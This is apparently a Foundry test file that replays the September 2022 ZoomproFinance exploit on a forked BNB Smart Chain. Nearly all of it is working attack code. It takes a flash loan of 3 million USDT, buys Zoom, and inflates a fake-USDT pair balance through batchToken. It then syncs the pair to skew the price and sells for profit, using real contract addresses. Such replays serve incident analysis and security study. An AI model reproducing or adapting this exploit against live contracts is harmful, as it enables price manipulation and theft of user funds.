src/test/2022-09/ZoomproFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Exploit Alert ref: https://twitter.com/blocksecteam/status/1567027459207606273?s=21&t=ZNoZgSdAuI4dJIFlMaTJeg
8// Origin Attack Transaction: 0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a
9// Blocksec Txinfo: https://tools.blocksec.com/tx/bsc/0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a
10 
11// Attack Addr: 0xc578d755cd56255d3ff6e92e1b6371ba945e3984
12// Attack Contract: 0xb8d700f30d93fab242429245e892600dcc03935d
13 
14interface IUSD {
15    function batchToken(address[] calldata _addr, uint256[] calldata _num, address token) external;
16    function swapTokensForExactTokens(
17        uint256 amountIn,
18        uint256 amountOutMin,
19        address[] calldata path,
20        address to,
21        uint256 deadline
22    ) external returns (uint256[] memory amounts);
23    function buy(
24        uint256
25    ) external;
26    function sell(
27        uint256
28    ) external;
29    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
30    function sync() external;
31}
32 
33contract ContractTest is Test {
34    IPancakePair PancakePair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00); // KIMO/WBNB pair
35    address private usdt = 0x55d398326f99059fF775485246999027B3197955;
36    address private swap = 0x5a9846062524631C01ec11684539623DAb1Fae58;
37    IERC20 Usdt = IERC20(usdt);
38    address private zoom = 0x9CE084C378B3E65A164aeba12015ef3881E0F853;
39    address private batch = 0x47391071824569F29381DFEaf2f1b47A4004933B; //Batch Token
40    address private fUSDT = 0x62D51AACb079e882b1cb7877438de485Cba0dD3f; // Fake USDT
41    address private pp = 0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5; // FakeUSDT/Zoom pair
42    IERC20 Zoom = IERC20(zoom);
43    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
44 
45    function setUp() public {
46        cheats.createSelectFork("bsc", 21_055_930); //fork bsc at block number 21055930
47    }
48 
49    function testExploit() public {
50        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", Usdt.balanceOf(address(this)), 18);
51 
52        // flashloan - Brrow 3,000,000 USDT
53        PancakePair.swap(3_000_000_000_000_000_000_000_000, 0, address(this), new bytes(1));
54 
55        emit log_named_decimal_uint(
56            "[End] After repay, Profit: USDT balance of attacker", Usdt.balanceOf(address(this)), 18
57        );
58    }
59 
60    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
61        uint256 ba = Usdt.balanceOf(address(this));
62        Usdt.approve(swap, 100_000_000_000_000_000_000_000_000_000_000_000_000);
63 
64        // use usdt to swap zoom
65        IUSD(swap).buy(ba);
66        emit log_named_decimal_uint("Zoom balance of attacker:", Zoom.balanceOf(address(this)), 18);
67 
68        address[] memory n1 = new address[](1);
69        n1[0] = pp;
70        uint256[] memory n2 = new uint256[](1);
71        n2[0] = 1_000_000 ether;
72        emit log_named_decimal_uint(
73            "Before manipulate price, Fake USDT balance of pair:", IERC20(fUSDT).balanceOf(address(pp)), 18
74        );
75        emit log_named_decimal_uint("Before manipulate price, Zoom balance of pair:", Zoom.balanceOf(address(pp)), 18);
76        IUSD(batch).batchToken(n1, n2, fUSDT);
77 
78        emit log_named_decimal_uint(
79            "After manipulate price, Fake USDT balance of pair:", IERC20(fUSDT).balanceOf(address(pp)), 18
80        );
81        emit log_named_decimal_uint("After manipulate price, Zoom balance of pair:", Zoom.balanceOf(address(pp)), 18);
82 
83        // calling pair Fake USDT-Zoom sync() to update latest price
84        IUSD(pp).sync();
85 
86        uint256 baz = Zoom.balanceOf(address(this));
87        Zoom.approve(swap, baz * 100);
88        IUSD(swap).sell(baz);
89 
90        emit log_named_decimal_uint("After selling Zoom, USDT balance of attacker:", Usdt.balanceOf(address(this)), 18);
91        //Repay flashloan
92        Usdt.transfer(address(PancakePair), (ba * 10_030) / 10_000);
93 
94        uint256 U = Usdt.balanceOf(address(this));
95        IERC20(usdt).transfer(address(this), U);
96    }
97 
98    receive() external payable {}
99}